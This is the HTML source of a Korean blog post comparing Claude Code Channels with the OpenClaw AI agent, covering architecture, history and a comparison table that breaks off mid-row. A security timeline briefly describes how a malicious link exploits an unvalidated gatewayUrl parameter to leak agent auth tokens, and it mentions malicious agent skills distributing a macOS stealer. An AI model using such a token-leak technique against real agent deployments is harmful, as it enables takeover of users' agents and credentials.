&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a href=&quot;https://github.com/anthropics/claude-code/releases&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Claude Code GitHub Releases&lt;/a&gt; &amp;mdash; v2.1.80 changelog: &quot;Added --channels (research preview)&quot;, v2.1.81 changelog: &quot;Added --channels permission relay&quot;)&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a href=&quot;https://code.claude.com/docs/en/channels-reference&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Channels reference - Claude Code Docs&lt;/a&gt;)&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #1a3a52; font-size: 20px; font-weight: 600; letter-spacing: -1px; font-family: Pretendard, -apple-system, BlinkMacSystemFont, system-ui, sans-serif;&quot;&gt;Channel = MCP 서버&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Channel의 정체는 &lt;b&gt;MCP(Model Context Protocol) 서버&lt;/b&gt;다. MCP는 외부 도구와 데이터 소스를 LLM에 구조적으로 연결하기 위한 오픈 표준 프로토콜이다. Claude Code와 같은 머신에서 실행되며, stdio를 통해 통신한다. Claude Code가 이 서버를 서브프로세스로 스폰하고, 채널은 외부 시스템과 Claude Code 세션 사이의 다리 역할을 한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;공식 문서의 정의를 그대로 옮기면:&lt;/p&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 15px 20px; border-radius: 8px; border-left: 4px solid #6c757d; margin: 15px 0; font-style: italic;&quot;&gt;&quot;A channel is an MCP server that pushes events into a Claude Code session so Claude can react to things happening outside the terminal.&quot;&lt;br /&gt;(Channel은 MCP server로, Claude Code session 안으로 event를 push해서 terminal 바깥에서 일어나는 일에도 Claude가 반응할 수 있게 해주는 기능입니다.)&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;채널 서버가 되기 위해 필요한 세 가지 조건:&lt;/p&gt;
&lt;ol style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;code&gt;claude/channel&lt;/code&gt; capability를 선언하여 Claude Code가 알림 리스너를 등록하게 한다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;code&gt;notifications/claude/channel&lt;/code&gt; 이벤트를 발생시킨다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;stdio 트랜스포트&lt;/b&gt;로 연결한다 (Claude Code가 서브프로세스로 스폰)&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;ex) 공식 문서 내용 캡쳐&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1514&quot; data-origin-height=&quot;978&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/l6U3I/dJMcahX5OIc/ONqiCXVpbYkkF7aOLnZAVK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/l6U3I/dJMcahX5OIc/ONqiCXVpbYkkF7aOLnZAVK/img.png&quot; data-alt=&quot;(출처:&amp;amp;nbsp; Channels reference - Claude Code Docs )&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/l6U3I/dJMcahX5OIc/ONqiCXVpbYkkF7aOLnZAVK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fl6U3I%2FdJMcahX5OIc%2FONqiCXVpbYkkF7aOLnZAVK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1514&quot; height=&quot;978&quot; data-origin-width=&quot;1514&quot; data-origin-height=&quot;978&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;(출처:&amp;nbsp; Channels reference - Claude Code Docs )&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Push vs Pull &amp;mdash; 아키텍처의 핵심 차이&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;일반 MCP 서버는 &lt;b&gt;수동적(Pull)&lt;/b&gt;이다. Claude가 &quot;이 도구 써&quot; 하고 호출할 때까지 가만히 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Channel은 이 관계를 &lt;b&gt;뒤집는다(Push)&lt;/b&gt;. 외부 이벤트가 발생하는 순간 &amp;mdash; 텔레그램 메시지가 도착하든, CI 빌드가 실패하든, Datadog 알림이 울리든 &amp;mdash; 즉시 Claude Code 세션에 밀어 넣는다.&lt;/p&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;이것이 왜 중요한가&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;기존: 터미널에 앉아서 프롬프트 입력 &amp;rarr; Claude 응답 &amp;rarr; 터미널 닫으면 끝.&lt;br /&gt;Channels: Claude Code가 백그라운드에서 실행. 외부 이벤트가 도착. Claude가 프로젝트 컨텍스트를 유지한 채 처리. &lt;b&gt;터미널 앞에 앉아 있을 필요 없음.&lt;/b&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;One-way vs Two-way 채널&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Channels는 두 가지 모드를 지원한다:&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600; width: 20%;&quot;&gt;유형&lt;/th&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600; width: 40%;&quot;&gt;동작&lt;/th&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600; width: 40%;&quot;&gt;사용 예시&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;One-way&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;외부 &amp;rarr; Claude로 이벤트 전달만. 응답 없음.&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;CI 실패 알림, 모니터링 경보, Webhook&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Two-way&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;외부 &amp;rarr; Claude + Claude &amp;rarr; 외부 (reply tool)&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;텔레그램/디스코드 채팅, 원격 코드 리뷰&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Two-way 채널은 &lt;b&gt;reply tool&lt;/b&gt;을 노출하여 Claude가 같은 플랫폼으로 메시지를 보낼 수 있게 한다. 여기에 더해, 신뢰된 채널은 &lt;b&gt;permission relay&lt;/b&gt;를 통해 도구 사용 승인/거부를 원격에서 할 수 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a href=&quot;https://code.claude.com/docs/en/channels-reference&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Channels reference - Claude Code Docs&lt;/a&gt;)&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;Boris Cherny (Head of Claude Code)의 발표&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;Channels를 발표한 Boris Cherny(Anthropic, Head of Claude Code)는 Threads에서 다음과 같이 소개했다:&lt;br /&gt;&lt;i&gt;&quot;We just released Claude Code channels in research preview. It allows you to control your Claude Code session through select MCPs, starting with Telegram and Discord.&quot;&lt;br /&gt;&lt;/i&gt;(Claude는 이제 research preview 단계의 Claude Code channels를 공개했으며, 이를 통해 Telegram이나 Discord 같은 일부 MCP를 이용해 Claude Code 세션을 외부에서 제어할 수 있게 되었습니다.)&lt;br /&gt;&lt;br /&gt;커뮤니티에서는 Channels를 Remote Control의 개발자 중심 대응물로 해석하고 있다. Remote Control이 세련된 모바일 UI를 제공한다면, Channels는 개발자가 MCP 프로토콜을 통해 원하는 시스템을 직접 연결할 수 있는 구조다.&lt;br /&gt;(출처: &lt;a href=&quot;https://www.threads.com/@boris_cherny/post/DWFohOyE1on/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Boris Cherny Threads, 2026-03-20&lt;/a&gt;)&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 2: OpenClaw란 무엇인가 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. OpenClaw란 무엇인가&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- OpenClaw는 최대한 간단히 설명하고 넘어간다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;탄생 배경과 성장&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;OpenClaw&lt;/b&gt;는 오스트리아 개발자 &lt;b&gt;Peter Steinberger&lt;/b&gt;가 만든 오픈소스 AI 에이전트다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;2025년 11월에 &lt;b&gt;Clawdbot&lt;/b&gt;이라는 이름으로 처음 공개되었고, Anthropic의 상표 문제로 2026년 1월 27일 &lt;b&gt;Moltbot&lt;/b&gt;으로 개명, 약 2일 뒤인 1월 29일 &lt;b&gt;OpenClaw&lt;/b&gt;로 최종 변경했다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;GitHub에서 &lt;b&gt;24만 7천+ 스타(3월 초 기준)&lt;/b&gt;, 4만 7천 포크를 기록하며 폭발적으로 성장했다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;메시징 플랫폼을 통해 LLM 에이전트와 상호작용하는 패턴을 대중화한 프로젝트다. 2026년 2월, Steinberger는 &lt;b&gt;OpenAI에 합류&lt;/b&gt;했다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a href=&quot;https://en.wikipedia.org/wiki/OpenClaw&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;OpenClaw - Wikipedia&lt;/a&gt;, &lt;a href=&quot;https://fortune.com/2026/02/19/openclaw-who-is-peter-steinberger-openai-sam-altman-anthropic-moltbook/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Fortune&lt;/a&gt;)&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;서버 기반 Always-on 아키텍처&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;OpenClaw의 핵심 차별점은 &lt;b&gt;서버에서 상시 실행&lt;/b&gt;된다는 점이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;아키텍처는 &lt;b&gt;Gateway(클라우드 컨트롤 플레인)&lt;/b&gt; + &lt;b&gt;Node(로컬 디바이스)&lt;/b&gt;의 하이브리드 구조다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;일반적으로는 EC2/VPS에 Gateway를 띄워 24시간 운영하지만, 로컬에서도 실행할 수 있다. 로컬 PC가 꺼져 있어도 서버 Gateway가 살아있으면 텔레그램 메시지를 보내 작업을 시킬 수 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;지원 플랫폼도 압도적이다:&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;WhatsApp, Telegram, Discord, Slack, Signal, iMessage&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;Google Chat, Microsoft Teams, Matrix, Twitch, Zalo, WebChat&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;다만 이 자유도는 양날의 검이다. OpenClaw 메인테이너 중 한 명은 이렇게 경고했다:&lt;/p&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 15px 20px; border-radius: 8px; border-left: 4px solid #6c757d; margin: 15px 0; font-style: italic;&quot;&gt;&quot;If you can't understand how to run a command line, this is far too dangerous of a project for you to use safely.&quot;&lt;br /&gt;(command line 실행 방법조차 잘 모른다면, 이 프로젝트를 안전하게 다루기에는 위험성이 너무 큽니다.)&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;그리고 이 경고는 과장이 아니었다. 실제로 심각한 보안 사고들이 연이어 발생했다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;⚠️ OpenClaw 보안 사고 타임라인&lt;/b&gt;&lt;br /&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;CVE-2026-25253 (CVSS 8.8):&lt;/b&gt; URL 파라미터 인젝션을 통한 1-click RCE. Control UI가 쿼리 스트링의 &lt;code&gt;gatewayUrl&lt;/code&gt;을 검증 없이 수용하여, 악성 링크 클릭만으로 WebSocket 연결 시 인증 토큰이 공격자 서버로 전송됨. 에이전트 전체 제어 가능. v2026.1.29에서 패치됨. (출처: &lt;a href=&quot;https://socradar.io/blog/cve-2026-25253-rce-openclaw-auth-token/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;SOCRadar&lt;/a&gt;)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;42,000~135,000+ 공개 노출 인스턴스:&lt;/b&gt; 독립 보안 연구원 Maor Dayan이 약 42,000개, SecurityScorecard STRIKE 팀이 135,000+개의 공개 노출 인스턴스를 각각 발견했다. (출처: &lt;a href=&quot;https://www.crowdstrike.com/en-us/blog/what-security-teams-need-to-know-about-openclaw-ai-super-agent/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;CrowdStrike 종합 리포트&lt;/a&gt;)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;ClawHub 악성 스킬:&lt;/b&gt; Koi Security가 &quot;ClawHavoc&quot; 캠페인을 처음 발견(2,857개 중 341개 악성), 이후 Bitdefender 감사에서 10,700+개 스킬 중 824+개가 악성으로 판명됨. (출처: &lt;a href=&quot;https://www.authmind.com/blogs/openclaw-malicious-skills-agentic-ai-supply-chain&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;AuthMind&lt;/a&gt;, Koi Security, Bitdefender)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Moltbook 데이터 유출:&lt;/b&gt; 연관 소셜 네트워크에서 약 3.5만 개 이메일, 150만 개 API 키/에이전트 토큰, 475만 건의 레코드가 유출됨. (출처: &lt;a href=&quot;https://www.wiz.io/blog/exposed-moltbook-database-reveals-millions-of-api-keys&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Wiz Blog&lt;/a&gt;)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;macOS 스틸러 배포:&lt;/b&gt; Trend Micro가 악성 OpenClaw 스킬을 통한 Atomic macOS Stealer 배포를 발견. (출처: &lt;a href=&quot;https://www.trendmicro.com/en_us/research/26/b/openclaw-skills-used-to-distribute-atomic-macos-stealer.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Trend Micro&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이 상황에 대응하여 보안 강화 프로젝트들이 등장했다:&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;b&gt;NVIDIA NemoClaw:&lt;/b&gt; GTC 2026(3/16)에서 발표. OpenShell + K3s 컨테이너 샌드박스 + 정책 엔진으로 OpenClaw를 래핑 (출처: &lt;a href=&quot;https://thenextweb.com/news/nvidia-nemoclaw-openclaw-enterprise-security&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;TNW&lt;/a&gt;)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;b&gt;ComposioHQ/secure-openclaw:&lt;/b&gt; API 키와 OAuth 토큰을 Composio 인프라로 관리, 평문 저장 방지&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;b&gt;HKUDS/nanobot:&lt;/b&gt; 43만줄 &amp;rarr; 4천줄로 축소한 경량 대안. 공격 표면 자체를 줄이는 접근&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 3: 아키텍처 비교 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. 아키텍처 비교: 근본적인 차이&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;겉보기에는 둘 다 &quot;채팅 앱에서 AI 에이전트를 제어&quot;하는 것이지만, 내부 아키텍처는 근본적으로 다르다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Channels: 로컬 MCP 이벤트 수신 모델&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Channels의 데이터 흐름을 도식화하면 이렇다:&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;routeros&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;  Phone (Telegram/Discord)
     &amp;darr; 메시지 전송
☁️  Bot API (Telegram/Discord 서버)
     &amp;uarr; 로컬 플러그인이 이벤트 수신 (Telegram: long-polling / Discord: WebSocket)
  Local MCP Plugin (Bun 프로세스, 내 머신에서 실행)
     &amp;darr; &amp;lt;channel&amp;gt; 이벤트로 래핑
  Claude Code 세션 (로컬 터미널)
     &amp;darr; 코드 실행, 파일 수정
     &amp;darr; reply tool 호출
  Local MCP Plugin &amp;rarr; ☁️ Bot API &amp;rarr;   결과가 폰에 표시&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;주요 포인트:&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;모든 것이 로컬에서 실행된다.&lt;/b&gt; MCP 플러그인은 내 머신에서 돌아가며, Bot API에서 이벤트를 수신한다(Telegram은 long-polling, Discord은 WebSocket Gateway 사용).&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;인바운드 포트가 없다.&lt;/b&gt; 내 머신으로 들어오는 연결은 없다. 외부에 노출되는 것은 아무것도 없다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;세션 의존적이다.&lt;/b&gt; Claude Code 세션이 종료되면 채널도 함께 종료된다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;OpenClaw: 서버 기반 상시 실행 모델&lt;/h3&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;awk&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;  Phone (WhatsApp/Telegram/Discord/Signal/iMessage...)
     &amp;darr; 메시지 전송
☁️  메시징 플랫폼 API
     &amp;darr;
 ️  OpenClaw 서버 (EC2/VPS/Docker &amp;mdash; 24시간 실행)
     &amp;darr; LLM API 호출 (Claude, GPT 등)
☁️  AI Provider API
     &amp;darr; 응답
 ️  OpenClaw 서버 &amp;rarr; 메시징 플랫폼 &amp;rarr;   결과 표시&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;핵심 포인트:&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;서버에서 독립적으로 실행된다.&lt;/b&gt; 내 PC가 꺼져 있어도 서버가 살아있으면 동작한다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;다양한 LLM을 지원한다.&lt;/b&gt; Claude뿐 아니라 GPT, 기타 LLM도 연결 가능하다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;로컬 파일 시스템에 직접 접근하지 않는다.&lt;/b&gt; 서버의 파일 시스템에 접근한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;핵심 차이점 비교표&lt;/h3&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600; width: 25%;&quot;&gt;항목&lt;/th&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600; width: 37.5%;&quot;&gt;Claude Code Channels&lt;/th&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600; width: 37.5%;&quot;&gt;OpenClaw&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;실행 위치&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;로컬 머신 (내 PC/Mac)&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;서버 (EC2, VPS, Docker)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;세션 유지&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;Claude Code 세션 종료 시 함께 종료&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;서버가 살아있는 한 24/7 상시 실행&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;기반 기술&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;MCP 프로토콜 (stdio)&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;독자 아키텍처 + LLM API&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;로컬 파일 접근&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;내 PC의 프로젝트 파일 직접 접근&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;서버의 파일 시스템만 접근&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;지원 LLM&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;Claude만&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;Claude, GPT, 기타 LLM&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;인바운드 포트&lt;/b&gt;&lt;/td&gt;
